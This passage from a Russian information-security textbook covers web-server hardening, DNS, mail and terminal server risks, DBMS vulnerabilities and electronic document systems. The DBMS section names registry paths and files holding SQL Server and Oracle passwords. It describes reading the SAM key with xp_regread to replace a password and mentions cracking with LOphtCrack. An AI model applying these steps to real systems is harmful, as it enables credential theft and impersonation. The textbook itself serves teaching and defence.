14.	Производить все обновления документов на публичном сервере из интранета. Хранить оригиналы веб-страниц на веб-сервере в интранете и сначала обновлять их на этом внутреннем сервере; потом копировать обновленные веб-страницы на публичный сервер с помощью SSL-соединения.
15.	Периодически сканировать веб-сервер такими средствами, как ISS или nmap, для проверки отсутствия на нем известных уязвимых мест.
16.	Организовать наблюдение за соединениями с сервером с помощью систем обнаружения вторжений. Сконфигурировать эту программу так, чтобы она подавала сигналы тревоги при обнаружении попыток применить известные атаки или любых подозрительных действиях с веб-сервером, а также протоколировала такие соединения для детального анализа. Эта информация сможет впоследствии помочь устранить уязвимые места и усилить систему защиты.
172
Информационная безопасность открытых систем
Много проблем связано с DNS-серверами. Как известно, для обращения к хостам в интранете используются 32-разрядные IP-адреса, уникально идентифицирующие каждый компьютер. Однако для пользователей применение IP-адресов при обращении к хостам является не слишком удобным и далеко не самым наглядным. Использование мнемонически понятных для пользователей имен породило проблему преобразования имен в IP-адреса. Такое преобразование необходимо, так как на сетевом уровне адресация пакетов идет не по именам, а по IP-адресам, следовательно, для непосредственной адресации сообщений интранету имена не годятся. На этапе раннего развития Интернета, когда в сеть было объединено небольшое количество компьютеров, NIC (Network Information Center) для решения проблемы преобразования имен в адреса создал специальный файл (hosts file), в который вносились имена и соответствующие им IP-адреса всех хостов в сети. Данный файл регулярно обновлялся и распространялся по всей сети. Но по мере развития Интернета число объединенных в сеть хостов увеличивалось и данная схема становилась все менее и менее работоспособной; поэтому была создана новая система преобразования имен, дающая возможность пользователю в случае отсутствия у него информации о соответствии имен и IP-адресов получить необходимые сведения от ближайшего информационнопоискового сервера (DNS-сервера). Эта система получила название доменной системы имен (DNS). Для реализации системы DNS был создан специальный сетевой протокол DNS. Хост при обращении к удаленному серверу обычно имеет информацию только о его имени и не знает его IP-адреса, который и необходим для непосредственной адресации. Следовательно, перед хостом возникает стандартная проблема удаленного поиска: по имени удаленного хоста найти его IP-адрес. Решением этой проблемы и занимается сервис DNS на базе протокола DNS.
Если неправильно сконфигурирован внешний DNS-сервер, то можно выяснить внутреннюю структуру сети. Поэтому очень важно, чтобы между хостами интранета и внешними хостами не существовал DNS-сервер. Для соединения внешних компьютеров с интранетом лучше просто использовать IP-адреса. Остальные проблемы уязвимости DNS рассмотрены в п. 3.5.4.
Нарушители, стремящиеся получить доступ к интранету, также атакуют и почтовые серверы. Причина в том, что почтовые серверы имеют доступ к почтовым серверам внутри интранета для распределения и обмена почтовыми сообщениями между открытыми сетями и интранетом. И опять, в зависимости от используемой в сети фильтрации, эта тактика может быть, а может и не быть эффективной для осуществления намерений злоумышленника. Кроме того, почтовые серверы намеренно заражают сетевыми вирусами, что на длительное время выводит их из строя (проблемам электронной почты посвящен п. 3.5.8). Последствия от взлома почтового сервера могут быть разнообразными - от перехвата сообщений до реализации атак "отказ в обслуживании" в отношении клиентов и серверов.
Если найден и взломан терминальный сервер (разновидность сервера удаленного доступа), то злоумышленник получит некоторый доступ к интранету даже минуя МЭ или фильтры, разделяющие интранет и другие открытые сети. Так, известны некоторые проблемы терминального сервера Windows 2000, применяемого для удаленного управления и распределенной обработки данных. С его появлением связано широкое распространение интерактивных учетных записей. Если взломщик сможет получить
3. Уязвимость открытых систем на примере интранета
173
данные такой записи, то предотвратить дальнейшее расширение его привилегий будет сложно.
Поэтому защита терминальных серверов очень важна, а процедуры установления соединений с ними должны быть заранее хорошо продуманы.
Уязвимость систем управления базами данных
Все уязвимости в любом ПО можно условно разделить на три класса - уязвимости проектирования, реализации и конфигурации. Эти классы уязвимостей существуют и применительно к различным защитным механизмам, реализуемым в СУБД: подсистема контроля целостности, подсистема разграничения доступа, подсистема аутентификации и т. д.
Защита БД является хорошо изученной проблемой. Это обусловлено тем, что БД имеют четко определенную внутреннюю структуру и операции над элементами БД также четко определены. Чаще всего над элементами БД осуществляются операции поиска, вставки, замены и удаления. Другие операции носят вспомогательный характер и реализуются реже. Такая простая структура системы защиты упрощает ее администрирование и усложняет задачу преодоления защиты СУБД. Тем не менее в отдельных случаях преодоление защиты, реализуемой СУБД, вполне возможно, если:  используется СУБД, защита которой недостаточно надежна;
	используется недостаточно хорошо протестированная версия СУБД, содержащая ошибки в ПО;
	администраторы БД допускают грубые ошибки при определении ПБ для БД.
Кроме того, есть отдельные атаки на СУБД, для защиты от которых требуются специальные меры. К ним относятся вышеупомянутые атака-"салями" (связанная с изменением правил округления обрабатываемой информации) и статистическая идентификация (эта атака позволяет получать конкретные значения тех полей БД, для которых доступна только статистическая информация).
Для реализации атак на СУБД злоумышленник должен как минимум быть пользователем СУБД.
Большинство современных СУБД построено по рассмотренной выше технологии клиент-сервер. В качестве сетевого протокола, по которому осуществляется взаимодействие клиентской части с серверной по каналам связи, как правило, выступает протокол из стека TCP/IP. Доступ клиентов к серверу БД осуществляется путем обращения к так называемому слушающему сервису, функционирующему на порте с определенным номером (1433 - для Microsoft SQL Server, 1521 - для Oracle и, как правило, 5000 - для Sybase). НСД к учетной записи, отвечающей за старт и останов слушающего сервиса, приводит к тому, что злоумышленник может остановить данный сервис и блокировать все попытки подключения клиентов к серверу базы данных. Нарушителю не обязательно даже знать пароль. Он может просто послать на соответствующий порт специальным образом сформированные пакеты, приводящие к нарушению работоспособности сервера баз данных.
Еще одна уязвимость БД, взаимодействующих по протоколам из стека TCP/IP, связана с тем, что информация между клиентом и сервером чаше всего передается в незащищенном виде. Установив в сети анализатор протоколов или используя анализатор, встроенный в ОС (как, например, Network Monitor для Windows NT), можно перехватывать пароли и идентификаторы пользователей, а также конфиденциальные данные, хранящиеся в БД.
174
Информационная безопасность открытых систем
Есть и проблемы с учетными записями, например, уволившегося или просто находящегося в отпуске сотрудника (так называемые "мертвые души"). Такая ситуация может быть использована для попытки проникновения в БД и маскировки под другого пользователя. К сожалению, современные СУБД не имеют механизма, позволяющего обнаруживать неприменяемые учетные записи, что открывает перед злоумышленниками большой простор для несанкционированной деятельности. Здесь же стоит упомянуть о "слабых" паролях. Ранние версии Oracle, Sybase, Microsoft SQL Server не содержали никаких средств контроля таких паролей, что позволяло пользователям выбирать для них абсолютно неподходящие значения, которые подбираются злоумышленниками в течение нескольких секунд. В более современных версиях Sybase и Oracle появились такие механизмы проверки, но по умолчанию они не используются. Проблемой являются, как было отмечено выше, и установки по умолчанию. В Интернете без особого труда можно найти узлы, на которых указаны такие значения для различного программно-аппаратного обеспечения, в том числе и для СУБД.
Статистика показывает, что 70 % неприятностей с СУБД возникают в результате неправильной конфигурации. Получив тем или иным способом доступ к базе данных, злоумышленник может воспользоваться мощью систем СУБД для установления контроля над другими системными приложениями. Например, получив доступ к Microsoft SQL Server под именем зарегистрированного пользователя, с помощью расширенных хранимых процедур злоумышленник затем может создавать новые учетные записи с привилегиями администратора или изменять конфигурацию веб-сервера предприятия. К каким последствиям приведут подобные действия, говорить излишне. Например, в Microsoft SQL Server 6.5 пароль администратора (учетная запись sa) хранился в открытом виде в системном реестре (ключ HKEY_CURRENT_ USER\SOFTWARE\Microsoft\MSSQLServer\SQLEW\Registered Servers\SQL 6.5). В версиях 7 и выше пароль хранится в зашифрованном виде (ключ НКЕУ_ CURRENT- USER\SOFTWARE\Microsoft\MSSQLServer\ SQLEWXRegistered Servers X\SQL Server Group), но он легко расшифровывается с помощью утилиты LOphtCrack. Еще одна проблема SQL Server также связана с системным реестром, в котором хранятся (пусть и в зашифрованном виде) и пароли пользователей ОС. С помощью расширенных хранимых процедур, например хр regdeletevalue, xp_regwrite, xp_regread, можно манипулировать ключами системного реестра. Прочтя HKEY_LOCAL_MACHINE\SECURITY\SAM\DOMAINS\ACCOUNT\USERS\
с помощью xp_regread неизвестный зашифрованный пароль учетной записи пользователя, можно заменить его на известный пароль и войти в систему, замаскировавшись под другого пользователя. Или применить утилиту LOphtCrack для определения зашифрованного пароля.
В Oracle пароль встроенной учетной записи INTERNAL, используемой, например, для старта и останова СУБД, хранится в открытом виде в файле strXXX.cmd (XXX -это идентификатор, по умолчанию соответствующий "orci") и в файле \orant\database\ spoolmain.log, записываемый в процессе создания БД. Доступ к этим файлам по умолчанию имеют все пользователи. Кроме того, все пароли учетных записей для СУБД Oracle хранятся в файле orapwXXX (для Unix) или pwdXXX.ora (для Windows NT) в зашифрованном виде. Но они могут быть подвергнуты атаке "грубой силы", позволяющей подобрать правильное значение пароля. Или одно неизвестное зашиф
3. Уязвимость открытых систем на примере интранета
175
рованное значение пароля может быть заменено на другое зашифрованное, но известное значение.
СУБД, в особенности реляционные, стали доминирующим инструментом хранения больших массивов информации. Сколько-нибудь развитые информационные приложения полагаются не на файловые структуры ОС, а на многопользовательские СУБД, выполненные в технологии клиент-сервер. В этой связи обеспечение информационной безопасности СУБД (всех трех ее основных аспектов: конфиденциальности, целостности и доступности), и в первую очередь их серверных компонентов, приобретает решающее значение для безопасности организации в целом. Когда БД располагались на больших мейнфреймах, они разделяли средства защиты с ОС. С приходом клиент-серверных приложений пользователи получают возможность миновать процедуру загрузки в ОС и обращаться напрямую к БД, где средства зашиты не столь надежны.
Существует два специфических сценария атаки на СУБД.
1. Результаты арифметических операций над числовыми полями СУБД округляются в меньшую сторону, а разница суммируется в некоторой другой записи СУБД (как правило, эта запись представляет собой денежную сумму, которая хранится на личном счету хакера в банке, а округляемые числовые поля относятся к счетам других клиентов банка).
2. Злоумышленник получает доступ к полям записей СУБД, содержащим только накопляемую статистическую информацию. Задача взломщика - сформулировать запрос таким образом, чтобы множество записей, для которого собирается статистика, состояло только из одной записи.
Главный источник угроз, специфичных для СУБД, лежит в самой природе БД, хранящей информацию. Основным средством взаимодействия с СУБД является язык SQL - мощный непроцедурный инструмент определения и манипулирования данными. Хранимые процедуры добавляют к нему управляющие конструкции. Механизм правил дает возможность выстраивать сложные, трудные для анализа цепочки действий, позволяя попутно неявным образом передавать право на выполнение процедур, даже не имея, строго говоря, полномочий на это. В результате потенциальный злоумышленник получает в свои руки мощный и удобный инструментарий, а все развитие СУБД направлено на то, чтобы сделать этот инструментарий еще мощнее и удобнее.
Получение информации путем логических выводов. Нередко путем логического вывода можно извлечь из БД информацию, на получение которой стандартными средствами у пользователя не хватает привилегий.
Если для реализации контроля доступа используются представления и эти представления допускают модификацию, с помощью операций модификации/вставки можно получить информацию о содержимом базовых таблиц, не располагая прямым доступом к ним.
Основным средством борьбы с подобными угрозами, помимо тщательного проектирования модели данных, является механизм размножения строк. Суть его в том, что в состав первичного ключа, явно или неявно, включается метка безопасности, за счет чего появляется возможность хранить в таблице несколько экземпляров строк с одинаковыми значениями "содержательных" ключевых полей. Наиболее естественно размножение строк реализуется в СУБД, поддерживающих метки безопасности
176
Информационная безопасность открытых систем
(например, в INGRES/ Enhanced Security), однако и стандартными SQL-средствами можно получить удовлетворительное решение.
Агрегирование данных. Агрегирование — это метод получения новой информации путем комбинирования данных, добытых легальным образом из различных таблиц. Агрегированная информация может оказаться более секретной, чем каждый из компонентов, ее составляющих. Информация об отдельных частях сама по себе не является секретной (какой смысл скрывать материал, размеры и количество гаек?). В то же время анализ всей базы позволяет узнать, как сделать ракету, что может считаться государственной тайной.
Повышение уровня секретности данных при агрегировании вполне естественно -это следствие закона перехода количества в качество. Бороться с агрегированием можно за счет тщательного проектирования модели данных и максимального ограничения доступа пользователей к информации.
Покушение на высокую готовность (доступность). Если пользователю доступны все возможности SQL, он может довольно легко затруднить работу других пользователей, инициировав, например, длительную транзакцию, захватывающую большое число таблиц. Современные многопотоковые серверы СУБД отражают лишь самые прямолинейные атаки, состоящие, например, в запуске в часы пик операции массовой загрузки данных. Поэтому не рекомендуется предоставлять пользователям непосредственного SQL-доступа к базе данных, используя в качестве фильтров серверы приложений. Выбор подобной архитектуры разумен и по многим другим соображениям.
В качестве угрозы, специфичной для реляционных СУБД, упомянем ссылочные ограничения. Строго говоря, наложение такого ограничения препятствует удалению строк из таблицы, содержащей первичные ключи, хотя в современных версиях SQL можно запросить так называемое каскадное удаление. Впрочем, искажение прочих ограничений на таблицы и их столбцы по-прежнему остается опасным средством покушения на доступность данных.
Защита коммуникаций между сервером и клиентами. Эта проблема не является специфичной только для СУБД, она присуща всем распределенным системам. Вполне естественно, что и решения здесь ищутся общие, такие, например, как в распределенной вычислительной среде Distributed Computing Environment (DCE) концерна OSF. Разработчикам СУБД остается "погрузить" свои программные продукты в эту среду. Ключевым компонентом в реализации взаимодействий клиент-сервер в среде DCE является сервис безопасности. Основные функции, предоставляемые этим сервисом, - аутентификация, реализуемая средствами, например, Kerberos, авторизация (проверка полномочий) и шифрование. Например, для каждого приложения клиент-сервер администратор может задать один из пяти уровней защиты:
	защита пересылаемых данных только при установлении соединения клиента с сервером;
	защита данных только на начальном этапе выполнения удаленного вызова процедуры, когда сервер впервые получает запрос;
	подтверждение подлинности источника данных — проверяется, все ли поступающие на сервер данные получены от определенного клиента;
	подтверждение подлинности источника и целостности данных - проверяется, что отправленные данные не были изменены;
3. Уязвимость открытых систем на примере интранета	177
	подтверждение подлинности источника, целостности и конфиденциальности данных - выполняются проверки, предусмотренные на предыдущем уровне, и осуществляется шифрование всех пересылаемых данных.
Сервис аутентификации DCE существенно улучшает характеристики безопасности распределенной среды, упрощая в то же время деятельность как пользователей, так и администраторов. Достаточно иметь единое входное имя и пароль для DCE, чтобы обращаться к любой погруженной в эту среду базе данных. При запуске приложения сервер запрашивает аутентификационную информацию пользователя у DCE и подключает его к требуемой базе.
Наличие единой точки администрирования входных имен и прав доступа к базам данных и приложениям способствует упорядочению общей ситуации с безопасностью. Например, если уничтожается входное имя DCE, то администратор может быть уверен, что данный пользователь уже не сможет получить доступ ни к одному из системных ресурсов.
Общая идея защиты БД состоит в следовании рекомендациям, сформулированным для класса безопасности С2 в "Критериях оценки надежных компьютерных систем". В принципе некоторые СУБД предлагают дополнения, характерные для класса В1, однако практическое применение подобных дополнений имеет смысл, только если все компоненты информационной структуры организации соответствуют категории безопасности В.
Можно назвать следующие основные направления борьбы с потенциальными угрозами конфиденциальности и целостности данных [45]:
	идентификация и проверка подлинности (аутентификация) пользователей (применяются либо соответствующие механизмы ОС, либо SQL-оператор CONNECT);
	управление доступом к данным (владелец объекта передает права доступа к нему (чаше говорят - привилегии доступа и безопасности) по своему усмотрению);
	механизм подотчетности всех действий, влияющих на безопасность;
	защита регистрационной информации от искажений и ее анализ;
	очистка объектов перед их повторным использованием;
	защита информации, передаваемой по линиям связи.
Все эти универсальные рекомендации применимы и к СУБД. Кроме того, специфика СУБД делает потенциально возможными новые угрозы, и соответственно требует особых мер защиты (например, использования представлений — средств управления доступом в СУБД; представления позволяют сделать видимыми для субъектов определенные столбцы базовых таблиц или отобрать определенные строки).
СУБД имеют строгую внутреннюю структуру, и операции над их элементами определены довольно четко. Как правило, эти операции включают в себя четыре основных действия - поиск, вставку, удаление и замену элемента, а остальные носят вспомогательный характер и применяются довольно редко. Наличие строгой структуры и четко определенных операций упрощает решение задачи защиты СУБД. В большинстве случаев злоумышленники не удостаивают СУБД своим вниманием, предпочитая взламывать защиту интранет на уровне ОС и получать доступ к файлам СУБД средствами ОС. Но в тех случаях, когда используется СУБД с недостаточно надежными защитными механизмами или плохо протестированная версия СУБД или администратор СУБД допустил ошибки при определении политики безопасности, злоумышленник без труда преодолеет защиту, реализуемую на уровне СУБД.
178
Информационная безопасность открытых систем
Планируя защиту в СУБД, первостепенными являются ответы на следующие вопросы (рис. 30). Кто имеет доступ к информации? Как и в каком виде хранятся данные в БД? Как выполняется передача данных в сетях (локальных и глобальных) от клиента к серверу и обратно? Как выполняются процедуры выгрузки и загрузки данных, их резервного копирования и в каком виде хранятся копии данных? Как происходит реорганизация данных в БД? Как выполняются репликации данных в распределенных БД? Возможен ли перебор паролей для НСД? Можно ли испортить информацию в БД?
О - Нужна защита!!!
Рис. 30. Уязвимость СУБД
Заключительная рекомендация: для СУБД требуется регулярная проверка с целью обнаружения всех несанкционированных изменений и наличия уязвимостей. Делать это можно вручную или применяя автоматизированные системы анализа защищенности, такие, как Database Scanner компании Internet Security Systems [http://www.iss.net], SQL о Secure Policy компании BrainTree Security Software [http://www.braintree.co.uk], e-Secure компании Cyrano [http://www.cyrano.com], SFProtect компании Hewlett-Packard [http://www.hp.com]. Например, SQL Auditor DBSecure оценивает риски в базе данных Microsoft SQL Server, выявляет слабые пароли, нарушения режимов эксплуатации, загрузочные атаки и другие формы НСД. В пакете SQL Secure фирмы BrainTree управление безопасностью сосредоточено на единой консоли. Компонент Password Manager анализирует пароли на слабость, управляет процессом присвоения паролей и сроками их действия. Компонент Policy Manager помогает пользователям оценивать свои БД на соответствие корпоративным стандартам безопасности.
Уязвимость систем электронного документооборота
До принятия Государственной думой Российской Федерации Закона "Об электронном документообороте" постараемся ввести ряд определений, являющихся базовыми в данной области.
Изначально "документооборот" являлся отражением термина "делопроизводство", хорошо формализованного в традиционном управлении. Тогда средства автоматиза
3. Уязвимость открытых систем на примере интранета
179
ции документооборота сводятся к компьютеризации традиционных задач делопроизводства - к формированию дел и учету содержащихся в них документов, контролю, исполнению и формированию отчетности и т. п. Подобного термина, однозначно соответствующего "документообороту" в российском понимании, в западном компьютерном словаре нет. У специалистов в области автоматизации бухгалтерского учета, финансовой и складской деятельности под документооборотом понимается подсистема программы, обеспечивающая генерацию "бумажной" отчетности (сводных ведомостей. накладных, справок и пр.) на основе данных, порождаемых в системе. В зависимости от пристрастий и специфики описываемого ПО, реализующего электронный документооборот, есть три близких аналога: 1) DMS (Document Management Systems) - системы управления документами, в русскоязычной литературе имеющие точный перевод - "архивы документов"; 2) DocFlow-системы, или системы маршрутизации документов; 3) WorkFlow-системы - "системы автоматизации бизнес-процессов", или "системы поддержки управления".
В последнее время появились термины, близкие к теме автоматизации документооборота, - Document Warehousing (хранилища документов) и Knowledge Management (управление знаниями). Они являются дальнейшим развитием систем документооборота и необходимы для структуризации и долгосрочного хранения больших массивов накопленных в организации документов, а также оптимального поиска необходимой информации на массиве разнородных накопленных документов.
Электронное сообщение - это логически целостная совокупность структурированных данных, имеющих смысл для участников информационного взаимодействия, которая закодирована способом, позволяющим обеспечить ее обработку средствами вычислительной техники, передачу по каналам связи и хранение на машиночитаемых носителях информации.
Электронный документ - это электронное сообщение, которое соответствует установленному формату, подписано электронной цифровой подписью (ЭЦП) и может быть преобразовано в форму, пригодную для однозначного восприятия его содержания.
Электронный документооборот (ЭДО) — это обмен электронными документами.
Система электронного документооборота (СЭД) - это корпоративная организационно-техническая система, представляющая собой совокупность программного, информационного и аппаратного обеспечения, реализующая электронный документооборот. Функциональная архитектура такой системы, состоящей обычно из ряда подсистем, может быть примерно представлена так, как это показано на рис. 31.
1.	Подсистема автоматизации делопроизводства (САД). В функции этого комплекса приложений не входит хранение и перемещение документов, но входит фиксация документов в специальной БД с карточками документов. Запись в БД характеризуется набором значений атрибутов карточки. Структура документов в БД опирается на так называемую номенклатуру дел организации, а технология их учета и обработки - на Положение о делопроизводстве. Документы хранятся в бумажном виде в специальном архиве, но в БД отображается их текущее местоположение и статус, включая атрибуты контроля исполнения. Различают входящие и исходящие документы, нормативно-распорядительные документы, документы коллегиальных органов управления, справочные документы и т. п. Документы, находящиеся на контроле исполнения, подразделяются по исполнителям, статусу исполнения, срокам
180
Информационная безопасность открытых систем
исполнения и пр. Помимо учета и поиска документов в БД, система генерирует отчеты с ведомостями исполнения документов и прочей сводной информацией.
Интерактивный ввод информации
Аналитические приложения
БД, таблицы пользовательских приложений и т. п.
Система управления документами Document Server
Система автоматизации деловых процедур Work Flow
Вводи распознование образов документов
Веб-сервер
CGI-приложения (интерфейс к интранет/Интернет)
Удаленные пользователи
Интранет/
Интернет
Рис. 31. Функциональная архитектура системы электронного документооборота
Сеть подразделения
2.	Подсистема "Архивы документов" (АД) хранит либо образ документа, либо его содержание, либо и то и другое. Она обеспечивает навигацию по иерархии документов и их поиск. Если в САД поиск осуществлется по атрибутам документов, то в АД- полнотекстовый поиск по содержимому текстовых фрагментов документа. Также, в отличие от САД, в АД хранятся сами документы, для которых обеспечивается разграничение прав доступа (на уровне пользователей, групп пользователей или ролей). Пользователь идентифицируется сетевым именем или специальным именем и паролем, определенным в системе управления архивом. В АД обеспечивается групповая работа с создаваемыми документами - это функция блокировок документов или Check-In/Check-Out-контроль (если один пользователь начинает редактировать документ, то он блокируется для доступа других до окончания работы). Поддерживается контроль версий документов (либо автоматически, либо по инициативе пользователя). В случае необходимости пользователь может вернуться к одной из предыдущих версий документа. Сервисными функциями АД являются следующие: возможность создания резервных копий документов без прекращения работы системы, интеграция с системами обеспечения оптимальной стоимости хранения данных и пр.
3.	Подсистема ввода документов и системы обработки образов документов. Под вводом документов в архив понимается их перевод из бумажного вида в электронный. В простейшем случае это сводится к сканированию. Но часто простого сохранения образа документа недостаточно. Образ документа может потребовать так называемого аннотирования, наложения на образ документа дополнительных обра
3. Уязвимость открытых систем на примере интранета
181
зов, выделений, текстовых пометок и пр. Также образ документа должен быть вручную снабжен набором атрибутов, идентифицирующих его в САД и АД. Более сложной задачей является автоматическое распознавание содержимого образа документа и формирование документа, содержащего его текст (используется ПО распознавания текста). Еще сложнее распознавание содержимого форм. При этом программа определяет наличие записей, в том числе и рукописных, в определенных полях бланка документа, распознает его содержимое и автоматически заполняет значения атрибутов документа в системе. При необходимости значения определенных полей бланка могут выбираться из определенного в системе справочника.
4.	Подсистема управления стоимостью хранения документов. При сохранении в архиве образов документов объемы хранения могут быстро расти и достигать значительных размеров. При этом интенсивность обращения к документам неравномерна (документы, находящиеся в работе, требуются часто; документы, работа с которыми уже завершена, - редко). Поэтому должна обеспечиваться различная оперативность доступа к разным документам и автоматический перенос данных с более "дорогих” устройств на более "дешевые". Так как стоимость хранения документов в архиве, как правило, обратно пропорциональна скорости доступа, то можно воспользоваться отмеченной закономерностью для оптимизации стоимости содержания архива, что и делает данная система. Обычно обеспечивается работа с различными периферийными устройствами - накопителями на жестких магнитных дисках, On-line-оптичес-кими стойками, накопителями на магнитной ленте и CD-ROM-устройствами.
5.	Подсистема маршрутизации документов (СМД) пересылает документы на рабочие места исполнителей, собирает информацию о текущем статусе документов, осуществляет консолидацию документов по завершению работы с ними на отдельных этапах, обеспечивает средства доступа к информации о текущем состоянии работ с документами. СМД, как правило, содержат средства описания типовых маршрутов прохождения документов. На основании разработанных маршрутных схем могут порождаться экземпляры бизнес-процессов работы с документами ("жесткая" маршрутизация). При "свободной" маршрутизации маршрут формируется "стихийно" и каждый пользователь системы с соответствующими правами может определить следующего исполнителя документа. Администратор системы и менеджер конкретного бизнес-процесса может контролировать текущее состояние маршрута и вносить коррективы. Возможны две схемы маршрутизации документов - Off-line и On-line. При первой происходит физическое извлечение документа из АД и доставка его (например, с помощью электронной почты) клиенту. По завершении работы документ обратно попадает в АД. Сама СМД является клиентом АД и вносит соответствующую информацию в учетную БД. Вторая схема не подразумевает физического перемещение документа - СМД обеспечивает клиенту интерфейс для доступа к заданиям на обработку документов.
6.	Подсистема публикации информации (напомним, что мы рассматриваем решения для интранета) состоит из веб-сервера и CGI-приложения, реализующих связь с хранилищами данных.
7.	Подсистема комплексной автоматизации бизнес-процессов, или WorkFlow-система. В отличие от СМД объектом маршрутизации в них является совокупность данных, используемых в некотором бизнес-процессе. Пользователь получает на рабочее место информацию о том, что он должен сделать, и все необходимые для этого
182
Информационная безопасность открытых систем
данные. WorkFlow-приложение определяет, какое приложение должно быть запущено для реализации функций на данном рабочем месте, и передает туда необходимые данные. Пользователь выполняет только необходимые функции, всю рутинную работу (определение последовательности действий, доставку необходимой информации, контроль своевременности исполнения работы и пр.) выполняет система WorkFlow. Функции WorkFlow-приложений выходят за рамки функций систем документооборота. Однако технологии, используемые в данных приложениях, очень близки технологиям, используемым в СМД. К тому же маршрутизация документов может рассматриваться как частный случай задачи построения WorkFlow-системы.
8.	Обобщающая подсистема администрирования и конфигурирования СЭД может быть реализована посредством: настройки штатных средств администрирования ОС, на которой базируется сервер; специализированного приложения, запускаемого с администраторскими правами и имеющего доступ к системным функциям ОС сервера БД; набора специальных процедур и функций, доступ к которым возможен только при условии входа в систему с правами администратора.
Уровневая архитектура системы представлена на рис. 32.
Клиент
Веб-браузер
Пользовательское приложение вызов с клиентской станции
Офисные приложения клиентская часть сетевой установки
DMS-клиент, WorkFlow-компонента
Интранет/ Интернет
TCP/IP
Веб-сервер
CCI-приложения
DMS-сервер
Ч WorkFlow-сервер
Сервер СУБД
Офисные приложения — сетевая установка —
Аналитическое пользовательское приложение
Шаблоны документов
Подсистема администрирования
Сервисы управления
Сервер
Пользовательские конфигурации
Рис. 32. Уровневая архитектура системы электронного документооборота
3. Уязвимость открытых систем на примере интранета
183
В качестве стандартного сетевого протокола чаще всего используется протокол из стека TCP/IP, обеспечивающий как взаимодействие рабочих станций в Microsoft Network, так и взаимодействие с веб-сервером (интранетом). Формирование документов, внесение и администрирование нормативно-справочной информации, анализ по отдельным документам и направлениям деятельности, статистический анализ деятельности предприятия в целом и подготовка отчетов реализуются пользовательским приложением на основе SQL-сервера, доступным с клиентских рабочих мест.
В качестве центрального хранилища информации может использоваться, например, СУБД MS SQL Server. В таблицах SQL хранится вся информация, необходимая для работы DMS-сервера и аналитического пользовательского приложения. Для организации публикации информации возможно применение Internet Information Server (IIS). Функции интерактивного доступа к информации из SQL-сервера выполняет приложение в стандарте Common Gateway Interface (CGI-приложение).
Администрирование СЭД осуществляется стандартными средствами ОС. Профайлы клиентов хранятся на сервере. Доступ клиентов к серверу реализуется через стандартный веб-браузер. На каждой клиентской станции установлен пакет офисных приложений. Конфигурация клиентов осуществляется администратором системы централизованно.
В приведенном модульном разделении системы пропущен модуль, отвечающий за защиту информации в процессе ее хранения и обработки. В защищенной СЭД подсистема безопасности может и не выделяться в отдельный блок, так как организация защитных механизмов неотделима от реализации конкретных функций других подсистем и часто нельзя провести четкое разделение на защищаемые и открытые ресурсы системы. В истинно защищенной системе подсистема безопасности остается прозрачной для авторизованного пользователя и непреодолимой для взломщика.
СЭД обеспечивают процесс создания, управления доступом и распространения больших объемов документов в сетях, а также контроль над потоками документов в организации. Часто эти документы хранятся в специальных хранилищах или в иерархии файловой системы. Типы файлов, которые, как правило, поддерживают СЭД, включают текстовые документы, образы, электронные таблицы, аудио-, видеоданные и документы Web. Общими возможностями СЭД являются создание документов, управление доступом, преобразование и безопасность.
В СЭД реализованы надежные средства разграничения полномочий и контроля за доступом к документам. В большинстве случаев с их помощью определяются следующие виды доступа (набор задаваемых полномочий зависит от конкретной СЭД):
	полный контроль над документом;
	право редактировать, но не уничтожать документ;
	право создавать новые версии документа, но не редактировать его;
	право аннотировать документ, но не редактировать его и не создавать новые версии;
	право читать документ, но не редактировать его;
	право доступа к карточке, но не к содержимому документа;
*	полное отсутствие прав доступа к документу (во время работы с СЭД каждое действие пользователя протоколируется; поэтому вся история его работы с документами может быть легко проконтролирована).
184
Информационная безопасность открытых систем
Таким образом, СЭД должны содержать как функциональное ПО (для хранения и обработки информации, обмена данными), так и программные или аппаратно-программные СЗИ (для шифрования, выработки ЭЦП, защиты от НСД).
Наиболее распространенной технологией реализации СЭД является классическая платформа клиент-сервер с распределенной моделью хранения данных, организацией коллективного доступа к ним и их обработки. В системе, где серверным приложением является БД, сервер отвечает за создание и поддержание объектов БД, таких, как таблицы, индексы. Сервер поддерживает целостность данных базы и ее безопасность. Кроме того, он должен обеспечивать возможность восстановления операций в случае возникновения различных сбоев.
В различных источниках СЭД разделяются на ряд основных классов:
	СЭД, ориентированные на бизнес-процессы (business-process EDM);
	корпоративные СЭД (enterprise-centric EDM);
	системы управления содержимым (content management systems);
	системы управления информацией (information management systems) с доступом через порталы;
	системы управления изображениями/образами (imaging systems);
	системы управления потоками работ (workflow management systems);
	системы управления корпоративными электронными записями;
	системы управления выводом (output management systems);
	специальные встраиваемые модули управления электронными документами.
Начиная с 2001 г. все большую популярность стала набирать концепция "управление корпоративным содержимым" (Enterprise Content Management, ЕСМ), а не управление ЭДО (в соответствии с "Forrester TechRankings"). ЕСМ определяется Forrester Research как интегрированный подход к управлению документами и вебсодержимым. Для консалтинговой компании Doculabs ЕСМ представляет собой категорию, объединяющую возможности систем управления корпоративными документами и систем управления содержимым со способностью управления полным жизненным циклом корпоративного содержимого (при продолжающемся росте числа его типов). К этому надо добавить функции управления процессами, под которыми понимается способность автоматизации и управления бизнес-процессами и потоками работ.
ЭДО более уязвим, чем его бумажный предшественник: с файла проще сделать копию, внести в него несанкционированные изменения, изготовить фальшивый документ и т. п. Имея сравнительно недорогое оборудование, можно организовать атаки на каналы связи, на основе которых функционирует СЭД. Кроме того, в документооборот организации может быть вовлечено множество людей, за каждым из которых закреплен ряд выполняемых операций и группа документов, с которой он работает, т. е. сотрудники выступают в определенной роли относительно системы документооборота. У злоумышленника (в основном внутреннего) возникает много возможностей для осуществления НСД.
Объект защиты в ЭДО - это файл электронного документа, которому присваиваются обычные атрибуты документа: подпись автора и степень его конфиденциальности. Этот документ, например, уязвим для модификации, компрометации или уничтожения при передаче.
3. Уязвимость открытых систем на примере интранета
185
Защита СЭД, которые в английской интерпретации называются системами электронного обмена данными (EDI) [46-48], предполагает более расширенный, чем классический, подход к обеспечению ИБ: к понятиям конфиденциальности, целостности и доступности здесь добавляются два новых понятия - "законность осуществляемых операций" и "их контролируемость" [49].
Для СЭД выделяют два больших класса атак - атаки на само содержание электронного документа и на ЭЦП, используемую для его заверения. Угрозы содержанию документа являются классическими — это угрозы конфиденциальности, целостности и доступности. Они в данном случае очень многообразны, например:
	разрыв или сбой (дисфункция сети);
	модификация информации;
	маскировка с целью выдать себя за авторизованного отправителя или получателя информации;
	многократное повторение сообщения;
	разглашение информации;
	анализ рабочей нагрузки линии связи;
	нарушение защиты передачи, при котором ухудшаются различные параметры системы безопасности сетей;
